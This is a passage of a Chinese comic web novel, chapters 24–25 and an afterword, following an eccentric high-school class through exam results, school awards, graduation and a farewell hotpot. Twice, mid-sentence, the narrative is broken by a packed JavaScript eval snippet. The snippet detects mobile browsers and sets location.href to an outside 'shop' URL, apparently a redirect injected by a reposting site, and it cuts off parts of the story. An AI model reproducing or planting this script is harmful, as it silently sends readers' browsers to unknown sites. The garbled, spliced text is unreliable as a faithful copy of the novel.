但满脑子都是火锅。 --- 考完出来,大家对答案。 梦萱:“作文我写了火锅,肯定高分!” 大雄:“我写了痘痘……” 梦萱:“你完了。” 大雄:“但老师可能觉得新颖?” 洐沁推了推不存在的眼镜:“据我观察,本次考试,抽象复习法可能有效,也可能无效。数据需要等成绩出来。” 我:废话文学。 等成绩的两天,全班陷入一种诡异的平静。 像暴风雨前的宁静。 像火锅沸腾前的那几秒。 像痘痘要挤还没挤的那种胀痛。 终于,成绩出来了。 --- 周一,班主任张聪明拿着成绩单,表情复杂。 “啊~这次我们班……很特别啊~” 全班屏息。 “语文平均分……年级第三。” 欢呼。 “数学……年级第六。” 还行。 “英语……年级第八。” 可以。 “政治……年级第一。” 炸了。 鲁平站起来,秃顶发光:“我的rap有效!” “但是……”张聪明说,“有几个同学的作文……被校长点名了。” 梦萱举手:“是我吗?” “是你。还有大雄、洐沁。” 全体:“???” 校长在教师会议上展示了这些作文: 梦萱的火锅论。 大雄的痘痘论。 洐沁的观察报告。 校长的评价:“……很有创意,但下次不要了。” 但他嘴角在笑。 可能他也觉得好笑。 --- 放学后,废弃教室。 梦萱站在黑板前,总结: “这次期末,我们证明了——” 大雄:“抽象学习有用!” 鲁平:“知识可以有趣!” 张聪明:“啊~我头发都愁掉了几根啊~” 洐沁:“我的论文有数据了!” 我:“……我还活着。” 梦萱看着我们,突然说: “下学期,我们继续。” 全体:“啊?!” “继续抽象,继续疯。”她笑,“因为——” “因为什么?” “因为……”她顿了顿,“这样好玩啊。” 大家笑了。 是的,好玩。 好笑,好气,好累,但好玩。 这就是我们的备考。 这就是我们的期末。 这就是我们,在这个抽象高中,最后一次以学习为名的狂欢。 虽然下学期还有无数考试。 虽然人生还有无数难关。 但至少这一刻,我们笑着。 连痘痘都在笑——如果你把大雄脸上那颗挤爆的痘看作笑脸的话。 24. 第 24 章 期末成绩公布日,全校笼罩在一种“死刑犯等枪毙”的恐怖氛围中。 除了高二五班。 我们班弥漫着一种“反正死定了不如死得搞笑点”的诡异兴奋。 早上七点半,教室。 梦萱在桌上用修正液画了个祭坛,中间摆着她的政治课本——书页上被她画满了骂人批注。 “今天,”她点燃一根蚊香(找不到香),对着课本拜了三拜,“如果我政治超过30分,我就给鲁平磕三个响头。” 大雄在旁边数痘痘:“我要是数学及格,就把脸上这些全挤了,一个不留。” 鲁平紧张地擦秃顶:“如果班级政治平均分进前三,我就……我就留长发!” 张聪明:“啊~那我戒掉‘啊~’~” 全班起哄:“赌了!” 洐沁推了推不存在的眼镜,掏出赌盘登记表: 「赌注汇总: 梦萱→磕头 大雄→挤痘大清理 鲁平→留长发(物理可能吗?) 张聪明→戒语气词 程穗→如果大家都实现愿望,她请客奶茶」 我:“等等!为什么有我?” 洐沁:“你是吉祥物,负责买单。” 我:“……傻逼啊。” 八点整,张聪明抱着成绩单走进教室。 他今天穿了件崭新的POLO衫,肚子依然把扣子绷得紧紧的,但脸上有藏不住的诡异笑容。 “同学们啊~”他开口,然后突然捂住嘴,“……成绩出来了。” 全场死寂。 连窗外偷看的麻雀都屏住呼吸。 “首先,”张聪明翻开文件夹,“班级总平均分……年级第八。” “哦——”一片哀嚎。 “但是!”他提高音量,“我们有几科……特别突出。” 他开始念: “语文,年级第三!” 欢呼。 “英语,年级第六!” 还行。 “数学……年级第五!” 震惊——我们班数学从来没进过前十。 “政治……”他顿了顿,笑容放大,“年级第一。” 死寂。 然后爆炸。 “第一?!” “政治?!” “我们班?!” 鲁平站起来,腿在抖:“多、多少分?” “平均分86.7。”张聪明说,“比第二名高4.5分。” 鲁平瘫在椅子上,秃顶反射出圣洁的光。 梦萱冲上去抢成绩单:“我多少分?!” 张聪明翻到个人页,看了一眼,表情复杂:“梦萱同学……你……” “不及格就说!我能承受!” “你政治……”张聪明深吸一口气,“89分。” 时间静止。 梦萱僵在原地,嘴巴张成O型,能塞进一个乒乓球。 “多、多少?”她声音发颤。 “89分。”张聪明把成绩单递给她,“年级第二。” 梦萱盯着成绩单,盯了十秒。 然后她做了三件事: 1. 把成绩单贴脸上,亲了一口,留下口红印。 2. 冲到鲁平面前,“扑通”跪下,哐哐哐磕了三个响头——额头撞地板的声音像敲木鱼。 3. 站起来,仰天长啸:“老娘是学霸——!!!” 全班鼓掌。 鲁平扶她起来,老泪纵横:“孩子……你终于……悟了……” 梦萱握着他的手:“老师,是你的rap!是你的痘痘辩证法!是你的骂人记忆法!” 鲁平:“不,是你自己的努力……” “不!是抽象的力量!” 那边,大雄也拿到了成绩单。 数学:61分。 刚好及格。 他盯着那个数字,看了整整一分钟。 然后他默默掏出痘痘针,走向洗手间。 “等等!”梦萱叫住他,“现在挤?” “赌注要兑现。”大雄认真地说,“而且……及格了,痘痘也该走了。” 全班男生护送他去洗手间,像护送英雄上刑场。 十分钟后,大雄回来,脸上贴了七个痘痘贴,排列成北斗七星形状。 “挤完了。”他说,“有点疼,但爽。” 梦萱凑近看:“你留了三颗?” “嗯。”大雄指着额头,“这三颗……是新的,还没熟。” “行,养着,下次再挤。” --- 上午课间,广播突然响了: “请高二五班鲁平老师、张聪明老师,以及梦萱、张大雄、洐沁、程穗同学,立即到校长室。” 全班紧张。 “完了,”王鑫说,“肯定是作文太抽象,要处分。” 梦萱:“怕什么!我有89分护体!” 一行人来到校长室。 校长坐在办公桌后,面前摆着几份文件,表情……似笑非笑? “坐。”他说。 我们挤在沙发上,鲁平和张聪明站着。 “这次期末,”校长开口,“你们班……很特别。” 沉默。 “政治年级第一,数学进步最大,语文作文……”他拿起一份作文,“《火锅论和而不同》……很有创意。” 梦萱眼睛亮了。 “还有这篇,”他又拿起一份,“《痘痘的历史意义》……角度新颖。” 大雄憨笑。 “这篇《考场观察报告》……”他看向洐沁,“已经获得市青少年社科研究一等奖。” 洐沁推了推不存在的眼镜:“谢谢校长。” 我紧张地等着我的——我的作文挺正常的,应该没事吧? “程穗同学,”校长看我,“你的作文写得最规范。” 我松口气。 “但是——”校长话锋一转,“你在作文里写‘我们班虽然抽象,但温暖’,这句话被教育局领导看到了。” 我心脏骤停。 “领导说,”校长笑了,“这是他们见过最真实的青春写照。” 全体:“???” 校长站起来,走到我们面前: “鲁平老师,你被评为‘本学期最受学生欢迎教师’。” 鲁平呆住。 “张聪明老师,你的‘啊式教学法’被学生联名要求保留——虽然我也不知道为什么。” 张聪明:“啊~真的吗~” “梦萱同学,你的进步幅度全校最大,校长特别奖。” 梦萱下巴要掉了。 “张大雄同学,你的数学从28分到61分,进步奖。” 大雄挠头。 “洐沁同学,你的论文一等奖,为校争光,奖金500元。” 洐沁眼睛发光——不是感动,是“有经费了”的光。 “程穗同学,”校长看我,“你作为班长,维持了这个班的……平衡。辛苦了。” 他拿出一叠奖状,挨个发给我们。 梦萱的奖状上写着:“突飞猛进奖——从9分到89分的奇迹”。 大雄的:“坚持不懈奖——痘痘与数学的双重胜利”。 洐沁的:“学术新星奖——观察别人也能拿第一”。 我的:“定海神针奖——没你他们早炸了”。 鲁平和张聪明也拿到了教师奖状。 鲁平的是:“哲学rap开创者”。 张聪明的是:“‘啊~’の神”。 张聪明看着奖状:“啊~这个の是日语吗~” 校长:“打印店打错了,凑合看。” --- 从校长室出来,我们捧着奖状,像捧着圣旨。 走廊上,其他班同学投来羡慕嫉妒恨的目光。 “他们班凭什么……” “听说政治第一……” “那个梦萱89分?抄的吧?” 梦萱转头:“你他妈再说一遍?我他妈用火锅理论考出来的!你有种也考!” 对方缩了。 回到教室,全班沸腾。 王鑫举着梦萱的奖状绕场一周:“看到没!这就是我们颠婆的实力!” 梦萱抢回来:“别弄脏了!我要裱起来挂床头!” 鲁平把他的奖状贴在黑板旁边,每天上课前拜一拜。 张聪明的“啊~の神”贴在办公室,其他老师每次看到都笑喷。 大雄把奖状折成纸飞机,飞出去,又捡回来——他说这样“有纪念意义”。 洐沁把奖金500元拿出来:“班长,团建经费。” 我:“又吃火锅?” “不,”她说,“买文具,继续观察。” --- 下午,更大的惊喜来了。 教育局领导来校视察,专门点名要见“那个抽象班级”。 我们被迫在教室进行“现场教学展示”。 梦萱负责政治:“我来讲解鸦片战争的火锅版!” 领导:“……火锅版?” “对!英国像辣锅,侵略性强;清朝像清汤,软弱;最后混成一锅,谁也分不清谁!” 领导表情复杂,但点头。 大雄负责数学:“我用铅球讲解抛物线!” 他扔铅球,砸中了领导的公文包——还好是空的。 领导:“……很有……动手能力。” 鲁平表演哲学rap,张聪明伴奏——用计算器按节奏。 洐沁展示观察笔记和Q版画。 我……我负责解释“为什么这个班还没散架”。 我说:“因为……抽象是粘合剂。” 领导沉默了一会儿,然后鼓掌。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064658|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好,”他说,“教育就应该多样化。” 他走后,校长对我们说:“领导说……你们让他想起了自己的青春。” 梦萱:“领导青春也这么抽象?” 校长:“他说他以前在墙上写诗骂老师。” 全体:“哇——” “然后被处分了。”校长补充,“所以你们比他强。” --- 放学后,梦萱宣布:“今晚,散伙火锅!” 大雄:“散伙?” “寒假前的最后一顿!”梦萱说,“下学期继续,但这学期得有个仪式感的结束。” 地点还是喷火火锅店。 但这次,我们有钱了——洐沁的奖金500元,加上我的“被迫请客”奶茶钱折现。 六个人,点了个豪华套餐。 锅端上来时,梦萱突然说:“等等。” 她从书包里掏出那些奖状。 “这些,才是最好的调料。”她说。 她把奖状撕了——不是真撕,是沿着虚线撕成小条。 “鲁老师的,放辣锅——哲学火辣。” “张老师的,放清汤——啊~得清淡点。” “我的,放中间——89分,骄傲!” “大雄的,放油碟——痘痘需要油!” “洐沁的,放调料台——观察要全面!” “班长的,”她看我,“放我碗里——定海神针,我得沾沾光。” 她把奖状纸条撒进火锅、蘸料、碗里。 然后举起可乐: “敬抽象!” “敬痘痘!” “敬rap!” “敬‘啊~’!” “敬观察!” “敬……还没疯的班长!” 我们碰杯。 可乐洒了一桌。 --- 吃到一半,张聪明突然说:“啊~我真的要戒‘啊~’了吗~” 鲁平:“戒了吧,留个纪念。” “但戒了我就不会说话了啊~” “那就学新的语气词,比如‘嗯~’?” “啊~不习惯啊~” 梦萱:“你别戒了,我们习惯了。” 大雄:“嗯,没有‘啊~’就不像张老师了。” 洐沁:“数据表明,‘啊~’的出现频次与课堂亲和力呈正相关。” 我:“……你们开心就好。” 张聪明感动:“啊~你们对我真好~” 看,戒不掉的。 就像鲁平的秃顶、大雄的痘痘、梦萱的颠、洐沁的眼镜(虽然不存在)、我的崩溃。 都戒不掉。 这就是我们。 --- 结账时,老板看着满桌奖状纸条,表情麻木。 “这次又是什么主题?”他问。 “散伙饭。”梦萱说,“但不散伙,只是寒假。” 老板:“……你们下学期还来吗?” “来!” 老板转身,对服务员说:“记下,下学期多备点纸巾,他们肯定又要算数学。” 走出火锅店,寒风吹来,有点冷。 梦萱把围巾分一半给大雄——虽然她骂他“脖子粗占地方”。 鲁平和张聪明挨得很近,互相取暖。 洐沁粘着我:“班长,寒假我要写论文初稿,你帮我查资料。” 我:“……我能拒绝吗?” “不能,你是顾问。” “顾问不是黑奴!” “差不多。” 我们走在路灯下,影子拉长又缩短。 像这个学期,忽长忽短,忽明忽暗。 但总归,走完了。 --- 到校门口,要分开了。 梦萱突然说:“下学期,我们还这样吗?” 鲁平:“还这样。” 张聪明:“啊~不然呢~” 大雄:“我痘痘可能好了……” 梦萱:“没好!我说没好就没好!” 洐沁:“我会继续观察。” 我:“……我会继续崩溃。” “那就,”梦萱伸出手,“下学期见?” 我们把手叠在一起——六只手,有大有小,有油有干,有沾着火锅味的。 “下学期见!” 松开手,各回各家。 我走在最后,回头看了一眼。 学校在夜色里安静得像睡着了。 但我知道,里面有我们的祭坛、铅球、rap、痘痘、奖状纸条、和还没散尽的火锅味。 这就是我们的期末。 这就是我们的惊喜。 虽然抽象。 虽然搞笑。 但真实。 温暖。 就像那锅混了奖状纸条的火锅。 乱七八糟。 但好吃。 25. 第 25 章 两年时间,快得像被梦萱骂了一句“滚”那么短。 高二结束,高三开始,高考来临,然后——毕业了。 毕业典礼定在六月十号,阳光好得不像话,操场上的塑料草坪被晒出人造清香。 高二五班——现在该叫高三五班了,但大家都习惯叫五班,因为“高几不重要,重要的是我们还在”。 --- 早上七点,教室。 最后一天,没人穿校服——学校要求穿,但我们班有自己的要求。 梦萱穿了件自己改造的“毕业战袍”——用校服剪成露肩装,背后用马克笔写着:“此处应有掌声”。 大雄穿了正经的运动服,但脸上贴了七颗痘痘贴,排列成北斗七星PLUS版——他说是“毕业限定皮肤”。 鲁平和张聪明穿了情侣POLO衫,一件写着“秃”,一件写着“油”,合起来是“秃油CP永流传”。 洐沁穿了普通的白衬衫,但胸前别了个徽章,上面画着Q版的我们六个人,标题:“观察样本完结纪念”。 我,程穗,穿了最正常的校服——因为我是班长,要“维持最后的体面”,虽然这体面在两年前就碎成渣了。 “人都齐了?”梦萱站在讲台上——那个裁判椅最终还是被她偷出来了,今天是她最后一次坐它。 “齐了。”大雄憨憨地点头。 “行,”梦萱拍惊堂木(还是那块砖头),“毕业前最后一次小组会议,开始。” --- 议题一:未来去向 梦萱先报:“我,艺术学院,行为艺术专业。” 全体鼓掌。 “为啥选这个?”鲁平问。 “因为面试时,我在考官面前表演了‘如何用骂人话解二元一次方程’,他们说我‘有天赋’。”梦萱得意。 大雄:“我,体育学院,铅球专业。” “为啥是铅球?” “因为……”大雄摸脸,“痘痘贴在上面不容易掉。” 合理。 鲁平:“我和张老师……还在这儿。” 张聪明:“啊~我们签了终身合同啊~走不了啊~” 梦萱:“挺好,祸害下一届。” 洐沁推了推不存在的眼镜:“我,保送社会学专业。” “研究方向?”我问。 “《抽象亚文化在高中社群的生成与传播——以某校‘抽风小组’为例》。”她说,“导师看了我的笔记,说‘这什么玩意儿但很有意思’。” 最后是我:“我,外地大学,管理学。” “为啥是管理?”梦萱问。 “因为……”我叹气,“习惯了管你们这群奇葩,专业对口。” --- 议题二:毕业典礼上搞什么抽象活动 梦萱提议:“我们表演个节目吧!叫《抽象青春回忆录》!” 鲁平:“内容呢?” “我rap骂人版《岳阳楼记》,大雄铅球背单词,你俩表演办公室斗殴,洐沁现场画画,班长……”梦萱看我,“你就站那儿崩溃,当背景板。” 我:“……我能拒绝吗?” “不能,最后一次了。” 最终方案简化:在校长致辞时,我们六个人同时举起特制标语牌。 标语内容: 梦萱:“感谢学校没开除我!” 大雄:“痘痘会想你们的!” 鲁平:“秃顶是智慧的证明!” 张聪明:“啊~我会想你们的啊~” 洐沁:“观察结束,谢谢配合。” 我:“我终于解脱了!!!” 牌子是洐沁画的,Q版风格,丑萌丑萌。 --- 议题三:散伙饭吃什么 “火锅!”全员异口同声。 “但这次,”梦萱说,“我请客。” 震惊。 “你请?”大雄怀疑。 “对!”梦萱拍胸脯,“我用压岁钱。” 鲁平:“为什么?” “因为……”梦萱顿了顿,“因为你们是我鱼塘里,最持久的鱼。” 这话有点感人。 如果忽略她下一句:“虽然你们经常想跳塘。” --- 九点,毕业典礼开始。 操场乌泱泱全是人,毕业生坐前面,家长坐后面,老师在旁边哭——感动的。 校长致辞,讲得深情款款:“三年时光,匆匆而过……” 这时,我们六个人同时举起了牌子。 全场目光聚焦。 校长卡壳了,看着我们的牌子,沉默三秒,然后……笑了。 他继续讲:“有些班级,会成为传说。” 他看向我们:“五班就是。” 掌声雷动。 我们放下牌子,梦萱对着校长比了个心——虽然是单手比,像要开枪。 --- 颁奖环节。 出乎意料,我们班拿了好几个奖: “最具创意班级奖”——因为政治rap和火锅作文。 “最大进步集体奖”——从年级垫底到中游。 “最团结师生关系奖”——因为鲁平和张聪明的CP带动了全班凝聚力。 每个奖都有我们六个人的功劳。 上台领奖时,梦萱抢过话筒: “我说两句!” 校长紧张:“简短点……” “首先,”梦萱对着台下,“感谢学校食堂,虽然难吃,但让我们学会了珍惜外卖。” 家长席有人笑。 “感谢所有老师,特别是鲁老师和张老师,你们用亲身示范告诉我们——中年人的爱情也可以很油腻。” 鲁平和张聪明脸红。 “感谢大雄,你的痘痘是我们班的星座图,指引我们前进。” 大雄憨笑。 “感谢洐沁,你让我们知道,原来我们这么有研究价值。” 洐沁推了推不存在的眼镜。 “感谢班长程穗,你没被我们气死,是医学奇迹。” 我捂脸。 “最后,”梦萱深吸一口气,“感谢这个抽象的高中,让我们这群抽象的人,聚在一起,抽象地度过了三年。” 她放下话筒。 全场寂静,然后爆发出今天最响的掌声。 连校长都用力鼓掌。 --- 典礼结束,各班合影。 我们班拍正经合照时,大家规规矩矩,笑容标准。 但拍“自由创意照”时,疯了。 梦萱跳到鲁平背上,扯他剩下的几根头发:“起飞!” 大雄把洐沁举起来——她还在画画,笔都没停。 鲁平和张聪明背对背摆造型,像老年版背靠背。 我在角落,被王鑫他们抬起来抛——他们说是“感谢班长不杀之恩”。 最经典的是我们六个人的“终极抽象合影”。 摄影师喊:“三、二、一——” 定格瞬间: 梦萱对着镜头比中指(但被大雄按下去一半,变成奇怪的手势)。 大雄顶着一脸痘痘贴,咧嘴憨笑,牙上还沾着早饭的菜叶。 鲁平把假发摘了,秃顶反光,像个小太阳。 张聪明比着“啊”的口型,但舌头不小心吐出来一点。 洐沁推着不存在的眼镜,另一只手举着画本,上面是我们六个人的Q版。 我,程穗,双手捂脸,但从指缝里偷看,嘴角在上扬。 “咔嚓。” 这张照片,后来被洗成巨幅,挂在了教学楼走廊最显眼的位置。 标题是校长亲自起的: 《他们曾经来过,并且没把学校拆了——致高二五班》 底下还有一行小字:“抽象,但温暖。” --- 中午,散伙火锅。 还是那家店,还是那个包厢,但这次气氛有点不一样。 锅端上来时,没人抢着下菜。 沉默了一会儿,梦萱说:“以后……就吃不到了。” 大雄:“我可以去找你。” “你学校在北方!” “坐火车。” “憨批。” 鲁平给每个人倒了饮料:“今天,以可乐代酒,敬三年。” 我们碰杯。 喝了一口,张聪明说:“啊~我会想你们的啊~” 梦萱:“你别想,好好教你的书。” “啊~但你们是我教过最特别的学生啊~” 鲁平点头:“以后……可能再也遇不到了。” 这话有点伤感。 洐沁推了推不存在的眼镜,开始记录:「离别情绪出现,群体氛围转变。」 梦萱突然拍桌子:“哭什么!又不是死了!都在地球上,想见就见!” 她掏出手机:“建个群!就叫‘抽象养老院’!以后每天都要发消息!谁不发谁是小狗!” 群建好了。 第一个人发言是梦萱,她发了张丑照——大雄挤痘时的狰狞表情。 大雄回了个:“……” 然后发了一张梦萱睡觉流口水的照片。 战争开始。 照片满天飞:鲁平戴假发、张聪明抹发胶、洐沁画画的屁股、我崩溃的脸…… 笑着笑着,眼泪出来了。 不是悲伤的眼泪,是真的笑出来的。 --- 吃完饭,该散了。 店门口,我们站着,谁也没先走。 “那就……”梦萱说,“各回各家?” “嗯。”大雄点头。 鲁平和张聪明手牵手:“我们回学校,还有毕业材料要整理。” 洐沁粘着我:“班长,送我一段?” 我:“……行。” 梦萱看着我们,突然挨个抱了一下。 抱大雄时,她骂:“以后痘痘自己挤!别找乱七八糟的人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064659|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱鲁平:“少用点生发液,对身体不好。” 抱张聪明:“戒‘啊~’就算了,挺可爱的。” 抱洐沁:“继续画,画丑了我就去你学校骂你。” 抱我时,她停顿了一下,说:“班长……谢谢你。” 我愣了。 然后她说:“谢谢你没放弃我们。” 我鼻子一酸,但忍住了:“我也没得选。” 她笑了,用力抱了我一下,然后转身,挥手: “走了!群里见!” 她真的走了,没回头。 大雄跟在她后面,像以前一样,但这次没背她的包——她自己背的。 鲁平和张聪明往学校方向走,背影还是那两个背影,但好像……牵得更紧了。 洐沁看着我:“班长,我们也走吧。” --- 回家的路上,夕阳把天空染成橘红色。 洐沁突然说:“班长,我的论文……致谢部分,第一个写你。” 我:“写我什么?” “写你是这个小组的……锚。”她说,“虽然你总说崩溃,但你从来没真的离开。” 我看着她:“你也是,虽然总在观察,但你一直和我们在一起。” 她笑了,推了推不存在的眼镜:“因为你们……太有趣了。” 到路口,该分开了。 洐沁从书包里掏出一个本子:“这个,送你。” 是她这两年画的Q版全集。 从高一梦萱扇鲁平巴掌,到高二火锅战争,到高三备考狂欢,到今天的毕业合影。 每一张都有日期,有注释。 最后一页,是我们六个人的合影Q版,下面写着: “样本编号:高二五班 观察期:三年 结论:抽象是他们的保护色,温暖是他们的底色。 ——观察员洐沁,于毕业日” 我接过本子,很重。 “谢谢。”我说。 “不客气。”她挥挥手,“班长,大学也要加油。” “你也是。” 她转身走了。 我站在原地,翻着那本画册。 一页一页,像把三年又过了一遍。 笑着,气着,崩溃着,温暖着。 --- 晚上,家里。 我打开“抽象养老院”群。 消息已经99+。 梦萱发了她在艺术学院宿舍的照片——她把室友也画成了Q版。 大雄发了训练场照片,铅球堆成山。 鲁平和张聪明发了办公室合影——他俩的工位已经合并成一个了。 洐沁发了论文封面,导师签字了。 我发了一张今天的火锅残局。 梦萱:「@全体成员以后每年今天,必须聚!」 大雄:「好。」 鲁平:「同意。」 张聪明:「啊~一定啊~」 洐沁:「数据需要更新。」 我:「……行。」 看着屏幕,我笑了。 笑着笑着,眼泪终于掉下来。 不是崩溃的眼泪。 是舍不得。 虽然他们抽象、奇葩、让人崩溃。 但他们是我的高中。 我的,独一无二的,抽象青春。 - 完 - --- 后记 那张挂在教学楼的照片,成了传奇。 新生入学时,学长学姐会指着照片说:“看,这就是传说中的五班。” “他们真的那样吗?” “比这还夸张。” 鲁平和张聪明还在教书,每年带新班,都会讲“我们以前有个学生……” 梦萱在艺术学院继续颠,但她的行为艺术开始有人欣赏——因为“够疯”。 大雄的铅球越扔越远,脸上的痘痘好了不少,但他说“留了三颗做纪念”。 洐沁的论文获奖了,她保研了,研究方向还是我们——她说“样本要长期跟踪”。 我,在外地大学,学管理。 偶尔崩溃时,会翻开那本Q版画册。 然后笑出声。 然后去群里发一句:「我想你们了。」 梦萱会回:「肉麻!来打架!」 大雄会发个憨笑表情。 鲁平会发哲学名言。 张聪明会发「啊~」 洐沁会发新的观察笔记。 一切都没变。 一切又都变了。 但还好。 群还在。 他们还在。 我的抽象青春,以另一种方式,继续着。 青春散场,但故事未完。 因为抽象的人,永远年轻,永远折腾,永远让人哭笑不得。 这就是五班。 这就是我们。 再见,高中。 你好,未来。 - 后记完 -